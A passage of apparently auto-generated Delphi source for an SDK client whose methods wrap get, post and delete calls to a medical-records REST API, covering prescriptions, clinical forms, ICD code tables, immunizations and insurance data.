Self.PostAPI('/v1/posterx_drug_paid/'+IfThen(Aformat<>'','?format='+Aformat,''),ABytesStream); end; function TSDKClient.deleteerx_drug_paid(Adrugid: String; Aformat: String = ''): TBytesStream; begin if Self.LoginAPI(FUserName,FPassword) then Result := Self.DeleteAPI('/v1/deleteerx_drug_paid/?drugid='+Adrugid+''+IfThen(Aformat<>'','&format='+Aformat,'')); end; function TSDKClient.geterx_narcotics(Aformat: String = ''): TBytesStream; begin if Self.LoginAPI(FUserName,FPassword) then Result := Self.GetAPI('/v1/geterx_narcotics/'+IfThen(Aformat<>'','?format='+Aformat,'')); end; function TSDKClient.posterx_narcotics(Aformat: String = ''; ABytesStream: TBytesStream = nil): TBytesStream; begin if Self.LoginAPI(FUserName,FPassword) then Result := Self.PostAPI('/v1/posterx_narcotics/'+IfThen(Aformat<>'','?format='+Aformat,''),ABytesStream); end; function TSDKClient.deleteerx_narcotics(Aid: String; Aformat: String = ''): TBytesStream; begin if Self.LoginAPI(FUserName,FPassword) then Result := Self.DeleteAPI('/v1/deleteerx_narcotics/?id='+Aid+''+IfThen(Aformat<>'','&format='+Aformat,'')); end; function TSDKClient.geterx_rx_log(Aformat: String = ''): TBytesStream; begin if Self.LoginAPI(FUserName,FPassword) then Result := Self.GetAPI('/v1/geterx_rx_log/'+IfThen(Aformat<>'','?format='+Aformat,'')); end; function TSDKClient.posterx_rx_log(Aformat: String = ''; ABytesStream: TBytesStream = nil): TBytesStream; begin if Self.LoginAPI(FUserName,FPassword) then Result := Self.PostAPI('/v1/posterx_rx_log/'+IfThen(Aformat<>'','?format='+Aformat,''),ABytesStream); end; function TSDKClient.deleteerx_rx_log(Aid: String; Aformat: String = ''): TBytesStream; begin if Self.LoginAPI(FUserName,FPassword) then Result := Self.DeleteAPI('/v1/deleteerx_rx_log/?id='+Aid+''+IfThen(Aformat<>'','&format='+Aformat,'')); end; function TSDKClient.geterx_ttl_touch(Aformat: String = ''): TBytesStream; begin if Self.LoginAPI(FUserName,FPassword) then Result := Self.GetAPI('/v1/geterx_ttl_touch/'+IfThen(Aformat<>'','?format='+Aformat,'')); end; function TSDKClient.posterx_ttl_touch(Aformat: String = ''; ABytesStream: TBytesStream = nil): TBytesStream; begin if Self.LoginAPI(FUserName,FPassword) then Result := Self.PostAPI('/v1/posterx_ttl_touch/'+IfThen(Aformat<>'','?format='+Aformat,''),ABytesStream); end; function TSDKClient.deleteerx_ttl_touch(Apatient_id: String; Aformat: String = ''): TBytesStream; begin if Self.LoginAPI(FUserName,FPassword) then Result := Self.DeleteAPI('/v1/deleteerx_ttl_touch/?patient_id='+Apatient_id+''+IfThen(Aformat<>'','&format='+Aformat,'')); end; function TSDKClient.getesign_signatures(Aformat: String = ''): TBytesStream; begin if Self.LoginAPI(FUserName,FPassword) then Result := Self.GetAPI('/v1/getesign_signatures/'+IfThen(Aformat<>'','?format='+Aformat,'')); end; function TSDKClient.postesign_signatures(Aformat: String = ''; ABytesStream: TBytesStream = nil): TBytesStream; begin if Self.LoginAPI(FUserName,FPassword) then Result := Self.PostAPI('/v1/postesign_signatures/'+IfThen(Aformat<>'','?format='+Aformat,''),ABytesStream); end; function TSDKClient.deleteesign_signatures(Aid: String; Aformat: String = ''): TBytesStream; begin if Self.LoginAPI(FUserName,FPassword) then Result := Self.DeleteAPI('/v1/deleteesign_signatures/?id='+Aid+''+IfThen(Aformat<>'','&format='+Aformat,'')); end; function TSDKClient.getextended_log(Aformat: String = ''): TBytesStream; begin if Self.LoginAPI(FUserName,FPassword) then Result := Self.GetAPI('/v1/getextended_log/'+IfThen(Aformat<>'','?format='+Aformat,'')); end; function TSDKClient.postextended_log(Aformat: String = ''; ABytesStream: TBytesStream = nil): TBytesStream; begin if Self.LoginAPI(FUserName,FPassword) then Result := Self.PostAPI('/v1/postextended_log/'+IfThen(Aformat<>'','?format='+Aformat,''),ABytesStream); end; function TSDKClient.deleteextended_log(Aid: String; Aformat: String = ''): TBytesStream; begin if Self.LoginAPI(FUserName,FPassword) then Result := Self.DeleteAPI('/v1/deleteextended_log/?id='+Aid+''+IfThen(Aformat<>'','&format='+Aformat,'')); end; function TSDKClient.getexternal_encounters(Aformat: String = ''): TBytesStream; begin if Self.LoginAPI(FUserName,FPassword) then Result := Self.GetAPI('/v1/getexternal_encounters/'+IfThen(Aformat<>'','?format='+Aformat,'')); end; function TSDKClient.postexternal_encounters(Aformat: String = ''; ABytesStream: TBytesStream = nil): TBytesStream; begin if Self.LoginAPI(FUserName,FPassword) then Result := Self.PostAPI('/v1/postexternal_encounters/'+IfThen(Aformat<>'','?format='+Aformat,''),ABytesStream); end; function TSDKClient.deleteexternal_encounters(Aee_id: String; Aformat: String = ''): TBytesStream; begin if Self.LoginAPI(FUserName,FPassword) then Result := Self.DeleteAPI('/v1/deleteexternal_encounters/?ee_id='+Aee_id+''+IfThen(Aformat<>'','&format='+Aformat,'')); end; function TSDKClient.getexternal_procedures(Aformat: String = ''): TBytesStream; begin if Self.LoginAPI(FUserName,FPassword) then Result := Self.GetAPI('/v1/getexternal_procedures/'+IfThen(Aformat<>'','?format='+Aformat,'')); end; function TSDKClient.postexternal_procedures(Aformat: String = ''; ABytesStream: TBytesStream = nil): TBytesStream; begin if Self.LoginAPI(FUserName,FPassword) then Result := Self.PostAPI('/v1/postexternal_procedures/'+IfThen(Aformat<>'','?format='+Aformat,''),ABytesStream); end; function TSDKClient.deleteexternal_procedures(Aep_id: String; Aformat: String = ''): TBytesStream; begin if Self.LoginAPI(FUserName,FPassword) then Result := Self.DeleteAPI('/v1/deleteexternal_procedures/?ep_id='+Aep_id+''+IfThen(Aformat<>'','&format='+Aformat,'')); end; function TSDKClient.getfacility(Aformat: String = ''): TBytesStream; begin if Self.LoginAPI(FUserName,FPassword) then Result := Self.GetAPI('/v1/getfacility/'+IfThen(Aformat<>'','?format='+Aformat,'')); end; function TSDKClient.postfacility(Aformat: String = ''; ABytesStream: TBytesStream = nil): TBytesStream; begin if Self.LoginAPI(FUserName,FPassword) then Result := Self.PostAPI('/v1/postfacility/'+IfThen(Aformat<>'','?format='+Aformat,''),ABytesStream); end; function TSDKClient.deletefacility(Aid: String; Aformat: String = ''): TBytesStream; begin if Self.LoginAPI(FUserName,FPassword) then Result := Self.DeleteAPI('/v1/deletefacility/?id='+Aid+''+IfThen(Aformat<>'','&format='+Aformat,'')); end; function TSDKClient.getfacility_user_ids(Aformat: String = ''): TBytesStream; begin if Self.LoginAPI(FUserName,FPassword) then Result := Self.GetAPI('/v1/getfacility_user_ids/'+IfThen(Aformat<>'','?format='+Aformat,'')); end; function TSDKClient.postfacility_user_ids(Aformat: String = ''; ABytesStream: TBytesStream = nil): TBytesStream; begin if Self.LoginAPI(FUserName,FPassword) then Result := Self.PostAPI('/v1/postfacility_user_ids/'+IfThen(Aformat<>'','?format='+Aformat,''),ABytesStream); end; function TSDKClient.deletefacility_user_ids(Aid: String; Aformat: String = ''): TBytesStream; begin if Self.LoginAPI(FUserName,FPassword) then Result := Self.DeleteAPI('/v1/deletefacility_user_ids/?id='+Aid+''+IfThen(Aformat<>'','&format='+Aformat,'')); end; function TSDKClient.getfee_sheet_options(Aformat: String = ''): TBytesStream; begin if Self.LoginAPI(FUserName,FPassword) then Result := Self.GetAPI('/v1/getfee_sheet_options/'+IfThen(Aformat<>'','?format='+Aformat,'')); end; function TSDKClient.getform_care_plan(Aformat: String = ''): TBytesStream; begin if Self.LoginAPI(FUserName,FPassword) then Result := Self.GetAPI('/v1/getform_care_plan/'+IfThen(Aformat<>'','?format='+Aformat,'')); end; function TSDKClient.getform_clinical_instructions(Aformat: String = ''): TBytesStream; begin if Self.LoginAPI(FUserName,FPassword) then Result := Self.GetAPI('/v1/getform_clinical_instructions/'+IfThen(Aformat<>'','?format='+Aformat,'')); end; function TSDKClient.postform_clinical_instructions(Aformat: String = ''; ABytesStream: TBytesStream = nil): TBytesStream; begin if Self.LoginAPI(FUserName,FPassword) then Result := Self.PostAPI('/v1/postform_clinical_instructions/'+IfThen(Aformat<>'','?format='+Aformat,''),ABytesStream); end; function TSDKClient.deleteform_clinical_instructions(Aid: String; Aformat: String = ''): TBytesStream; begin if Self.LoginAPI(FUserName,FPassword) then Result := Self.DeleteAPI('/v1/deleteform_clinical_instructions/?id='+Aid+''+IfThen(Aformat<>'','&format='+Aformat,'')); end; function TSDKClient.getform_dictation(Aformat: String = ''): TBytesStream; begin if Self.LoginAPI(FUserName,FPassword) then Result := Self.GetAPI('/v1/getform_dictation/'+IfThen(Aformat<>'','?format='+Aformat,'')); end; function TSDKClient.postform_dictation(Aformat: String = ''; ABytesStream: TBytesStream = nil): TBytesStream; begin if Self.LoginAPI(FUserName,FPassword) then Result := Self.PostAPI('/v1/postform_dictation/'+IfThen(Aformat<>'','?format='+Aformat,''),ABytesStream); end; function TSDKClient.deleteform_dictation(Aid: String; Aformat: String = ''): TBytesStream; begin if Self.LoginAPI(FUserName,FPassword) then Result := Self.DeleteAPI('/v1/deleteform_dictation/?id='+Aid+''+IfThen(Aformat<>'','&format='+Aformat,'')); end; function TSDKClient.getform_encounter(Aformat: String = ''): TBytesStream; begin if Self.LoginAPI(FUserName,FPassword) then Result := Self.GetAPI('/v1/getform_encounter/'+IfThen(Aformat<>'','?format='+Aformat,'')); end; function TSDKClient.postform_encounter(Aformat: String = ''; ABytesStream: TBytesStream = nil): TBytesStream; begin if Self.LoginAPI(FUserName,FPassword) then Result := Self.PostAPI('/v1/postform_encounter/'+IfThen(Aformat<>'','?format='+Aformat,''),ABytesStream); end; function TSDKClient.deleteform_encounter(Aid: String; Aformat: String = ''): TBytesStream; begin if Self.LoginAPI(FUserName,FPassword) then Result := Self.DeleteAPI('/v1/deleteform_encounter/?id='+Aid+''+IfThen(Aformat<>'','&format='+Aformat,'')); end; function TSDKClient.getform_eye_mag_dispense(Aformat: String = ''): TBytesStream; begin if Self.LoginAPI(FUserName,FPassword) then Result := Self.GetAPI('/v1/getform_eye_mag_dispense/'+IfThen(Aformat<>'','?format='+Aformat,'')); end; function TSDKClient.postform_eye_mag_dispense(Aformat: String = ''; ABytesStream: TBytesStream = nil): TBytesStream; begin if Self.LoginAPI(FUserName,FPassword) then Result := Self.PostAPI('/v1/postform_eye_mag_dispense/'+IfThen(Aformat<>'','?format='+Aformat,''),ABytesStream); end; function TSDKClient.deleteform_eye_mag_dispense(Aid: String; Aformat: String = ''): TBytesStream; begin if Self.LoginAPI(FUserName,FPassword) then Result := Self.DeleteAPI('/v1/deleteform_eye_mag_dispense/?id='+Aid+''+IfThen(Aformat<>'','&format='+Aformat,'')); end; function TSDKClient.getform_eye_mag_prefs(Aformat: String = ''): TBytesStream; begin if Self.LoginAPI(FUserName,FPassword) then Result := Self.GetAPI('/v1/getform_eye_mag_prefs/'+IfThen(Aformat<>'','?format='+Aformat,'')); end; function TSDKClient.getform_functional_cognitive_status(Aformat: String = ''): TBytesStream; begin if Self.LoginAPI(FUserName,FPassword) then Result := Self.GetAPI('/v1/getform_functional_cognitive_status/'+IfThen(Aformat<>'','?format='+Aformat,'')); end; function TSDKClient.getform_misc_billing_options(Aformat: String = ''): TBytesStream; begin if Self.LoginAPI(FUserName,FPassword) then Result := Self.GetAPI('/v1/getform_misc_billing_options/'+IfThen(Aformat<>'','?format='+Aformat,'')); end; function TSDKClient.postform_misc_billing_options(Aformat: String = ''; ABytesStream: TBytesStream = nil): TBytesStream; begin if Self.LoginAPI(FUserName,FPassword) then Result := Self.PostAPI('/v1/postform_misc_billing_options/'+IfThen(Aformat<>'','?format='+Aformat,''),ABytesStream); end; function TSDKClient.deleteform_misc_billing_options(Aid: String; Aformat: String = ''): TBytesStream; begin if Self.LoginAPI(FUserName,FPassword) then Result := Self.DeleteAPI('/v1/deleteform_misc_billing_options/?id='+Aid+''+IfThen(Aformat<>'','&format='+Aformat,'')); end; function TSDKClient.getform_observation(Aformat: String = ''): TBytesStream; begin if Self.LoginAPI(FUserName,FPassword) then Result := Self.GetAPI('/v1/getform_observation/'+IfThen(Aformat<>'','?format='+Aformat,'')); end; function TSDKClient.getform_reviewofs(Aformat: String = ''): TBytesStream; begin if Self.LoginAPI(FUserName,FPassword) then Result := Self.GetAPI('/v1/getform_reviewofs/'+IfThen(Aformat<>'','?format='+Aformat,'')); end; function TSDKClient.postform_reviewofs(Aformat: String = ''; ABytesStream: TBytesStream = nil): TBytesStream; begin if Self.LoginAPI(FUserName,FPassword) then Result := Self.PostAPI('/v1/postform_reviewofs/'+IfThen(Aformat<>'','?format='+Aformat,''),ABytesStream); end; function TSDKClient.deleteform_reviewofs(Aid: String; Aformat: String = ''): TBytesStream; begin if Self.LoginAPI(FUserName,FPassword) then Result := Self.DeleteAPI('/v1/deleteform_reviewofs/?id='+Aid+''+IfThen(Aformat<>'','&format='+Aformat,'')); end; function TSDKClient.getform_ros(Aformat: String = ''): TBytesStream; begin if Self.LoginAPI(FUserName,FPassword) then Result := Self.GetAPI('/v1/getform_ros/'+IfThen(Aformat<>'','?format='+Aformat,'')); end; function TSDKClient.postform_ros(Aformat: String = ''; ABytesStream: TBytesStream = nil): TBytesStream; begin if Self.LoginAPI(FUserName,FPassword) then Result := Self.PostAPI('/v1/postform_ros/'+IfThen(Aformat<>'','?format='+Aformat,''),ABytesStream); end; function TSDKClient.deleteform_ros(Aid: String; Aformat: String = ''): TBytesStream; begin if Self.LoginAPI(FUserName,FPassword) then Result := Self.DeleteAPI('/v1/deleteform_ros/?id='+Aid+''+IfThen(Aformat<>'','&format='+Aformat,'')); end; function TSDKClient.getform_soap(Aformat: String = ''): TBytesStream; begin if Self.LoginAPI(FUserName,FPassword) then Result := Self.GetAPI('/v1/getform_soap/'+IfThen(Aformat<>'','?format='+Aformat,'')); end; function TSDKClient.postform_soap(Aformat: String = ''; ABytesStream: TBytesStream = nil): TBytesStream; begin if Self.LoginAPI(FUserName,FPassword) then Result := Self.PostAPI('/v1/postform_soap/'+IfThen(Aformat<>'','?format='+Aformat,''),ABytesStream); end; function TSDKClient.deleteform_soap(Aid: String; Aformat: String = ''): TBytesStream; begin if Self.LoginAPI(FUserName,FPassword) then Result := Self.DeleteAPI('/v1/deleteform_soap/?id='+Aid+''+IfThen(Aformat<>'','&format='+Aformat,'')); end; function TSDKClient.getform_vitals(Aformat: String = ''): TBytesStream; begin if Self.LoginAPI(FUserName,FPassword) then Result := Self.GetAPI('/v1/getform_vitals/'+IfThen(Aformat<>'','?format='+Aformat,'')); end; function TSDKClient.postform_vitals(Aformat: String = ''; ABytesStream: TBytesStream = nil): TBytesStream; begin if Self.LoginAPI(FUserName,FPassword) then Result := Self.PostAPI('/v1/postform_vitals/'+IfThen(Aformat<>'','?format='+Aformat,''),ABytesStream); end; function TSDKClient.deleteform_vitals(Aid: String; Aformat: String = ''): TBytesStream; begin if Self.LoginAPI(FUserName,FPassword) then Result := Self.DeleteAPI('/v1/deleteform_vitals/?id='+Aid+''+IfThen(Aformat<>'','&format='+Aformat,'')); end; function TSDKClient.getforms(Aformat: String = ''): TBytesStream; begin if Self.LoginAPI(FUserName,FPassword) then Result := Self.GetAPI('/v1/getforms/'+IfThen(Aformat<>'','?format='+Aformat,'')); end; function TSDKClient.postforms(Aformat: String = ''; ABytesStream: TBytesStream = nil): TBytesStream; begin if Self.LoginAPI(FUserName,FPassword) then Result := Self.PostAPI('/v1/postforms/'+IfThen(Aformat<>'','?format='+Aformat,''),ABytesStream); end; function TSDKClient.deleteforms(Aid: String; Aformat: String = ''): TBytesStream; begin if Self.LoginAPI(FUserName,FPassword) then Result := Self.DeleteAPI('/v1/deleteforms/?id='+Aid+''+IfThen(Aformat<>'','&format='+Aformat,'')); end; function TSDKClient.getgeo_country_reference(Aformat: String = ''): TBytesStream; begin if Self.LoginAPI(FUserName,FPassword) then Result := Self.GetAPI('/v1/getgeo_country_reference/'+IfThen(Aformat<>'','?format='+Aformat,'')); end; function TSDKClient.postgeo_country_reference(Aformat: String = ''; ABytesStream: TBytesStream = nil): TBytesStream; begin if Self.LoginAPI(FUserName,FPassword) then Result := Self.PostAPI('/v1/postgeo_country_reference/'+IfThen(Aformat<>'','?format='+Aformat,''),ABytesStream); end; function TSDKClient.deletegeo_country_reference(Acountries_id: String; Aformat: String = ''): TBytesStream; begin if Self.LoginAPI(FUserName,FPassword) then Result := Self.DeleteAPI('/v1/deletegeo_country_reference/?countries_id='+Acountries_id+''+IfThen(Aformat<>'','&format='+Aformat,'')); end; function TSDKClient.getgeo_zone_reference(Aformat: String = ''): TBytesStream; begin if Self.LoginAPI(FUserName,FPassword) then Result := Self.GetAPI('/v1/getgeo_zone_reference/'+IfThen(Aformat<>'','?format='+Aformat,'')); end; function TSDKClient.postgeo_zone_reference(Aformat: String = ''; ABytesStream: TBytesStream = nil): TBytesStream; begin if Self.LoginAPI(FUserName,FPassword) then Result := Self.PostAPI('/v1/postgeo_zone_reference/'+IfThen(Aformat<>'','?format='+Aformat,''),ABytesStream); end; function TSDKClient.deletegeo_zone_reference(Azone_id: String; Aformat: String = ''): TBytesStream; begin if Self.LoginAPI(FUserName,FPassword) then Result := Self.DeleteAPI('/v1/deletegeo_zone_reference/?zone_id='+Azone_id+''+IfThen(Aformat<>'','&format='+Aformat,'')); end; function TSDKClient.getglobals(Aformat: String = ''): TBytesStream; begin if Self.LoginAPI(FUserName,FPassword) then Result := Self.GetAPI('/v1/getglobals/'+IfThen(Aformat<>'','?format='+Aformat,'')); end; function TSDKClient.postglobals(Aformat: String = ''; ABytesStream: TBytesStream = nil): TBytesStream; begin if Self.LoginAPI(FUserName,FPassword) then Result := Self.PostAPI('/v1/postglobals/'+IfThen(Aformat<>'','?format='+Aformat,''),ABytesStream); end; function TSDKClient.deleteglobals(Agl_name: String; Aformat: String = ''): TBytesStream; begin if Self.LoginAPI(FUserName,FPassword) then Result := Self.DeleteAPI('/v1/deleteglobals/?gl_name='+Agl_name+''+IfThen(Aformat<>'','&format='+Aformat,'')); end; function TSDKClient.getgprelations(Aformat: String = ''): TBytesStream; begin if Self.LoginAPI(FUserName,FPassword) then Result := Self.GetAPI('/v1/getgprelations/'+IfThen(Aformat<>'','?format='+Aformat,'')); end; function TSDKClient.postgprelations(Aformat: String = ''; ABytesStream: TBytesStream = nil): TBytesStream; begin if Self.LoginAPI(FUserName,FPassword) then Result := Self.PostAPI('/v1/postgprelations/'+IfThen(Aformat<>'','?format='+Aformat,''),ABytesStream); end; function TSDKClient.deletegprelations(Atype1: String; Aformat: String = ''): TBytesStream; begin if Self.LoginAPI(FUserName,FPassword) then Result := Self.DeleteAPI('/v1/deletegprelations/?type1='+Atype1+''+IfThen(Aformat<>'','&format='+Aformat,'')); end; function TSDKClient.getgroups(Aformat: String = ''): TBytesStream; begin if Self.LoginAPI(FUserName,FPassword) then Result := Self.GetAPI('/v1/getgroups/'+IfThen(Aformat<>'','?format='+Aformat,'')); end; function TSDKClient.postgroups(Aformat: String = ''; ABytesStream: TBytesStream = nil): TBytesStream; begin if Self.LoginAPI(FUserName,FPassword) then Result := Self.PostAPI('/v1/postgroups/'+IfThen(Aformat<>'','?format='+Aformat,''),ABytesStream); end; function TSDKClient.deletegroups(Aid: String; Aformat: String = ''): TBytesStream; begin if Self.LoginAPI(FUserName,FPassword) then Result := Self.DeleteAPI('/v1/deletegroups/?id='+Aid+''+IfThen(Aformat<>'','&format='+Aformat,'')); end; function TSDKClient.gethistory_data(Aformat: String = ''): TBytesStream; begin if Self.LoginAPI(FUserName,FPassword) then Result := Self.GetAPI('/v1/gethistory_data/'+IfThen(Aformat<>'','?format='+Aformat,'')); end; function TSDKClient.posthistory_data(Aformat: String = ''; ABytesStream: TBytesStream = nil): TBytesStream; begin if Self.LoginAPI(FUserName,FPassword) then Result := Self.PostAPI('/v1/posthistory_data/'+IfThen(Aformat<>'','?format='+Aformat,''),ABytesStream); end; function TSDKClient.deletehistory_data(Aid: String; Aformat: String = ''): TBytesStream; begin if Self.LoginAPI(FUserName,FPassword) then Result := Self.DeleteAPI('/v1/deletehistory_data/?id='+Aid+''+IfThen(Aformat<>'','&format='+Aformat,'')); end; function TSDKClient.geticd10_dx_order_code(Aformat: String = ''): TBytesStream; begin if Self.LoginAPI(FUserName,FPassword) then Result := Self.GetAPI('/v1/geticd10_dx_order_code/'+IfThen(Aformat<>'','?format='+Aformat,'')); end; function TSDKClient.geticd10_gem_dx_10_9(Aformat: String = ''): TBytesStream; begin if Self.LoginAPI(FUserName,FPassword) then Result := Self.GetAPI('/v1/geticd10_gem_dx_10_9/'+IfThen(Aformat<>'','?format='+Aformat,'')); end; function TSDKClient.geticd10_gem_dx_9_10(Aformat: String = ''): TBytesStream; begin if Self.LoginAPI(FUserName,FPassword) then Result := Self.GetAPI('/v1/geticd10_gem_dx_9_10/'+IfThen(Aformat<>'','?format='+Aformat,'')); end; function TSDKClient.geticd10_gem_pcs_10_9(Aformat: String = ''): TBytesStream; begin if Self.LoginAPI(FUserName,FPassword) then Result := Self.GetAPI('/v1/geticd10_gem_pcs_10_9/'+IfThen(Aformat<>'','?format='+Aformat,'')); end; function TSDKClient.geticd10_gem_pcs_9_10(Aformat: String = ''): TBytesStream; begin if Self.LoginAPI(FUserName,FPassword) then Result := Self.GetAPI('/v1/geticd10_gem_pcs_9_10/'+IfThen(Aformat<>'','?format='+Aformat,'')); end; function TSDKClient.geticd10_pcs_order_code(Aformat: String = ''): TBytesStream; begin if Self.LoginAPI(FUserName,FPassword) then Result := Self.GetAPI('/v1/geticd10_pcs_order_code/'+IfThen(Aformat<>'','?format='+Aformat,'')); end; function TSDKClient.geticd10_reimbr_dx_9_10(Aformat: String = ''): TBytesStream; begin if Self.LoginAPI(FUserName,FPassword) then Result := Self.GetAPI('/v1/geticd10_reimbr_dx_9_10/'+IfThen(Aformat<>'','?format='+Aformat,'')); end; function TSDKClient.geticd10_reimbr_pcs_9_10(Aformat: String = ''): TBytesStream; begin if Self.LoginAPI(FUserName,FPassword) then Result := Self.GetAPI('/v1/geticd10_reimbr_pcs_9_10/'+IfThen(Aformat<>'','?format='+Aformat,'')); end; function TSDKClient.geticd9_dx_code(Aformat: String = ''): TBytesStream; begin if Self.LoginAPI(FUserName,FPassword) then Result := Self.GetAPI('/v1/geticd9_dx_code/'+IfThen(Aformat<>'','?format='+Aformat,'')); end; function TSDKClient.geticd9_dx_long_code(Aformat: String = ''): TBytesStream; begin if Self.LoginAPI(FUserName,FPassword) then Result := Self.GetAPI('/v1/geticd9_dx_long_code/'+IfThen(Aformat<>'','?format='+Aformat,'')); end; function TSDKClient.geticd9_sg_code(Aformat: String = ''): TBytesStream; begin if Self.LoginAPI(FUserName,FPassword) then Result := Self.GetAPI('/v1/geticd9_sg_code/'+IfThen(Aformat<>'','?format='+Aformat,'')); end; function TSDKClient.geticd9_sg_long_code(Aformat: String = ''): TBytesStream; begin if Self.LoginAPI(FUserName,FPassword) then Result := Self.GetAPI('/v1/geticd9_sg_long_code/'+IfThen(Aformat<>'','?format='+Aformat,'')); end; function TSDKClient.getimmunization_observation(Aformat: String = ''): TBytesStream; begin if Self.LoginAPI(FUserName,FPassword) then Result := Self.GetAPI('/v1/getimmunization_observation/'+IfThen(Aformat<>'','?format='+Aformat,'')); end; function TSDKClient.postimmunization_observation(Aformat: String = ''; ABytesStream: TBytesStream = nil): TBytesStream; begin if Self.LoginAPI(FUserName,FPassword) then Result := Self.PostAPI('/v1/postimmunization_observation/'+IfThen(Aformat<>'','?format='+Aformat,''),ABytesStream); end; function TSDKClient.deleteimmunization_observation(Aimo_id: String; Aformat: String = ''): TBytesStream; begin if Self.LoginAPI(FUserName,FPassword) then Result := Self.DeleteAPI('/v1/deleteimmunization_observation/?imo_id='+Aimo_id+''+IfThen(Aformat<>'','&format='+Aformat,'')); end; function TSDKClient.getimmunizations(Aformat: String = ''): TBytesStream; begin if Self.LoginAPI(FUserName,FPassword) then Result := Self.GetAPI('/v1/getimmunizations/'+IfThen(Aformat<>'','?format='+Aformat,'')); end; function TSDKClient.postimmunizations(Aformat: String = ''; ABytesStream: TBytesStream = nil): TBytesStream; begin if Self.LoginAPI(FUserName,FPassword) then Result := Self.PostAPI('/v1/postimmunizations/'+IfThen(Aformat<>'','?format='+Aformat,''),ABytesStream); end; function TSDKClient.deleteimmunizations(Aid: String; Aformat: String = ''): TBytesStream; begin if Self.LoginAPI(FUserName,FPassword) then Result := Self.DeleteAPI('/v1/deleteimmunizations/?id='+Aid+''+IfThen(Aformat<>'','&format='+Aformat,'')); end; function TSDKClient.getinsurance_companies(Aformat: String = ''): TBytesStream; begin if Self.LoginAPI(FUserName,FPassword) then Result := Self.GetAPI('/v1/getinsurance_companies/'+IfThen(Aformat<>'','?format='+Aformat,'')); end; function TSDKClient.postinsurance_companies(Aformat: String = ''; ABytesStream: TBytesStream = nil): TBytesStream; begin if Self.LoginAPI(FUserName,FPassword) then Result := Self.PostAPI('/v1/postinsurance_companies/'+IfThen(Aformat<>'','?format='+Aformat,''),ABytesStream); end; function TSDKClient.deleteinsurance_companies(Aid: String; Aformat: String = ''): TBytesStream; begin if Self.LoginAPI(FUserName,FPassword) then Result := Self.DeleteAPI('/v1/deleteinsurance_companies/?id='+Aid+''+IfThen(Aformat<>'','&format='+Aformat,'')); end; function TSDKClient.getinsurance_data(Aformat: String = ''): TBytesStream; begin if Self.LoginAPI(FUserName,FPassword) then Result := Self.GetAPI('/v1/getinsurance_data/'+IfThen(Aformat<>'','?format='+Aformat,'')); end; function TSDKClient.postinsurance_data(Aformat: String = ''; ABytesStream: TBytesStream = nil): TBytesStream; begin if Self.LoginAPI(FUserName,FPassword) then Result := Self.PostAPI('/v1/postinsurance_data/'+IfThen(Aformat<>'','?format='+Aformat,''),ABytesStream); end; function TSDKClient.deleteinsurance_data(Aid: String; Aformat: String = ''): TBytesStream; begin if Self.LoginAPI(FUserName,FPassword) then Result := Self.DeleteAPI('/v1/deleteinsurance_data/?id='+Aid+''+IfThen(Aformat<>'','&format='+Aformat,'')); end; function TSDKClient.getinsurance_numbers(Aformat: String = ''): TBytesStream; begin if Self.LoginAPI(FUserName,FPassword) then Result := Self.GetAPI('/v1/getinsurance_numbers/'+IfThen(Aformat<>'','?format='+Aformat,'')); end; function TSDKClient.postinsurance_numbers(Aformat: String = ''; ABytesStream: TBytesStream = nil): TBytesStream; begin if Self.LoginAPI(FUserName,FPassword) then Result := Self.PostAPI('/v1/postinsurance_numbers/'+IfThen(Aformat<>'','?format='+Aformat,''),ABytesStream); end; function TSDKClient.deleteinsurance_numbers(Aid: String; Aformat: String = ''): TBytesStream; begin if Self.LoginAPI(FUserName,FPassword) then Result := Self.DeleteAPI('/v1/deleteinsurance_numbers/?id='+Aid+''+IfThen(Aformat<>'','&format='+Aformat,'')); end; function TSDKClient.getissue_encounter(Aformat: String = ''): TBytesStream; begin if Self.LoginAPI(FUserName,FPassword) then Result := Self.GetAPI('/v1/getissue_encounter/'+IfThen(Aformat<>'','?format='+Aformat,'')); end; function TSDKClient.postissue_encounter(Aformat: String = ''; ABytesStream: TBytesStream = nil): TBytesStream; begin if Self.LoginAPI(FUserName,FPassword) then Result := Self.PostAPI('/v1/postissue_encounter/'+IfThen(Aformat<>'','?format='+Aformat,''),ABytesStream); end; function TSDKClient.deleteissue_encounter(Apid: String; Aformat: String = ''): TBytesStream; begin if Self.LoginAPI(FUserName,FPassword) then Result := Self.DeleteAPI('/v1/deleteissue_encounter/?pid='+Apid+''+IfThen(Aformat<>'','&format='+Aformat,'')); end; function TSDKClient.getissue_types(Aformat: String = ''): TBytesStream; begin if Self.LoginAPI(FUserName,FPassword) then Result := Self.GetAPI('/v1/getissue_types/'+IfThen(Aformat<>'','?format='+Aformat,'')); end; function TSDKClient.postissue_types(Aformat: String = ''; ABytesStream: TBytesStream = nil): TBytesStream; begin if Self.LoginAPI(FUserName,FPassword) then Result := Self.PostAPI('/v1/postissue_types/'+IfThen(Aformat<>'','?format='+Aformat,''),ABytesStream); end; function TSDKClient.deleteissue_types(Acategory: String; Aformat: String = ''): TBytesStream; begin if Self.LoginAPI(FUserName,FPassword) then Result := Self.DeleteAPI('/v1/deleteissue_types/?category='+Acategory+''+IfThen(Aformat<>'','&format='+Aformat,'')); end; function TSDKClient.get_keys_(Aformat: String = ''): TBytesStream; begin if Self.LoginAPI(FUserName,FPassword) then Result := Self.GetAPI('/v1/get_keys_/'+IfThen(Aformat<>'','?format='+Aformat,'')); end; function TSDKClient.post_keys_(Aformat: String = ''; ABytesStream: TBytesStream = nil): TBytesStream; begin if Self.LoginAPI(FUserName,FPassword) then Result := Self.PostAPI('/v1/post_keys_/'+IfThen(Aformat<>'','?format='+Aformat,''),ABytesStream); end; function TSDKClient.delete_keys_(Aid: String; Aformat: String = ''): TBytesStream; begin if Self.LoginAPI(FUserName,FPassword) then Result := Self.DeleteAPI('/v1/delete_keys_/?id='+Aid+''+IfThen(Aformat<>'','&format='+Aformat,'')); end; function TSDKClient.getlang_constants(Aformat: String = ''): TBytesStream; begin if Self.LoginAPI(FUserName,FPassword) then Result := Self.GetAPI('/v1/getlang_constants/'+IfThen(Aformat<>'','?format='+Aformat,'')); end; function TSDKClient.getlang_custom(Aformat: String = ''): TBytesStream; begin if Self.LoginAPI(FUserName,FPassword) then Result := Self.GetAPI('/v1/getlang_custom/'+IfThen(Aformat<>'','?format='+Aformat,'')); end; function TSDKClient.getlang_definitions(Aformat: String = ''): TBytesStream; begin if Self.LoginAPI(FUserName,FPassword) then Result := Self.GetAPI('/v1/getlang_definitions/'+IfThen(Aformat<>'','?format='+Aformat,'')); end; function TSDKClient.getlang_languages(Aformat: String = ''): TBytesStream; begin if Self.LoginAPI(FUserName,FPassword) then Result := 